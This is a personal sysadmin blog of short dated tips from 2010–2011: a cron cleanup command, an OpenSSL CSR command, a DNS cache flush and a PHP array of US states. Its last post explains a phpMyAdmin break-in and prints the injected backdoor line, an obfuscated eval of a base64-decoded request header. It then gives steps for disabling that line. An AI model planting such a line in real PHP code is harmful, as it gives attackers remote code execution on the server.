February 22nd, 2011 | Unbuntu
I CRON this on my backups folder to optimize server space and remove old unnecessary files.
!!! You run this at your own risk. Please test this before executing on valuable files. !!!
find . -atime +3 -exec rm {} \;
+3 == how many days back
I’ve been looking for a compare file size/age script, please comment with better scripts if you have them.
February 22nd, 2011 | Database, linux, MySQL
I go this error this morning running a ORDER BY RAND()
My server’s disk was full. I went into my backups, tmp, and logs folder and cleaned up.
November 18th, 2010 | linux, SSL, Unbuntu, Web Development
To created a 2048bit CSR in linux terminal with open SSL (testing on a Ubuntu Hardy 8.x)
openssl req -new -nodes -newkey rsa:2048 -keyout yourdomain.key -out yourdomain.csr
November 17th, 2010 | Web Development
check the Use Regular Expression Box
find = value=”([^<]*)”
replace = value=”"
September 9th, 2010 | Mac, OS X
I created a new sub-domain with slicehost and it was showing on all my computers but my MAC. The problem was OS X negative caching. To clear the cache on snow leopard.
1. Open Terminal
2. Sudo in
# Sudo -S
3. Clear the negative cache
# dscacheutil -flushcache
September 7th, 2010 | PHP
A PHP Array of the States of North America, useful for database access when addresses are abbreviated
$state_list = array(‘AL’=>”Alabama”,
‘AK’=>”Alaska”,
‘AZ’=>”Arizona”,
‘AR’=>”Arkansas”,
‘CA’=>”California”,
‘CO’=>”Colorado”,
‘CT’=>”Connecticut”,
‘DE’=>”Delaware”,
‘DC’=>”District Of Columbia”,
‘FL’=>”Florida”,
‘GA’=>”Georgia”,
‘HI’=>”Hawaii”,
‘ID’=>”Idaho”,
‘IL’=>”Illinois”,
‘IN’=>”Indiana”,
‘IA’=>”Iowa”,
‘KS’=>”Kansas”,
‘KY’=>”Kentucky”,
‘LA’=>”Louisiana”,
‘ME’=>”Maine”,
‘MD’=>”Maryland”,
‘MA’=>”Massachusetts”,
‘MI’=>”Michigan”,
‘MN’=>”Minnesota”,
‘MS’=>”Mississippi”,
‘MO’=>”Missouri”,
‘MT’=>”Montana”,
‘NE’=>”Nebraska”,
‘NV’=>”Nevada”,
‘NH’=>”New Hampshire”,
‘NJ’=>”New Jersey”,
‘NM’=>”New Mexico”,
‘NY’=>”New York”,
‘NC’=>”North Carolina”,
‘ND’=>”North Dakota”,
‘OH’=>”Ohio”,
‘OK’=>”Oklahoma”,
‘OR’=>”Oregon”,
‘PA’=>”Pennsylvania”,
‘RI’=>”Rhode Island”,
‘SC’=>”South Carolina”,
‘SD’=>”South Dakota”,
‘TN’=>”Tennessee”,
‘TX’=>”Texas”,
‘UT’=>”Utah”,
‘VT’=>”Vermont”,
‘VA’=>”Virginia”,
‘WA’=>”Washington”,
‘WV’=>”West Virginia”,
‘WI’=>”Wisconsin”,
‘WY’=>”Wyoming”);
May 6th, 2010 | linux, PHP, Unbuntu
On one of my slices, my phpmyadmin shows a blank page every so often. This is caused by a remote code execution exploit. You’re getting hacked, but don’t be scared.
The bug/hack is single line in the file /var/lib/phpmyadmin/config.inc.php, which was corrupted.
Here is the whole file:
/*
* Generated configuration file
* Version: $Id: setup.php,v 1.23.2.8.2.2 2006/05/15 07:57:09 nijel Exp $
* Date: Fri, 14 Aug 2009 14:24:39 GMT
*/
/* Servers configuration */
$i = 0;
/* Server (config:root) [1] */
*$cfg[‘Servers’][$i][‘xxx’];$z=‘bas’.‘e64_dec’.‘ode’;eval($z($_SERVER[‘HTTP_X_CODE’]));exit;#’] = ‘yyy’;
/* End of servers configuration */
To fix this issue, Shell into Ubuntu and Sudo up
pico /var/lib/phpmyadmin/config.inc.php
Look for the line //*$cfg['Servers'][$i]['xxx'];$z=’bas’.'e64_dec’.'ode’;eval($z($_SERVER['HTTP_X_CODE']));exit;#’] = ‘yyy’;
comment it out with //
hit ctrl+x, press y, and lets reload apache
/etc/init.d/apache2 reload
To avoid this problem:
- Avoid using phpmyadmin.yoursite.com or yoursite.com/phpmyadmin
- Use Htaccess passwords on the phpmyadmin directory